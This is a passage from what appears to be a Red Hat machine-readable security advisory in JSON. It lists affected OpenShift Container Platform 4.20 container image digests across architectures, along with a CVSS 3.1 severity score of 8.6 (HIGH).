"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
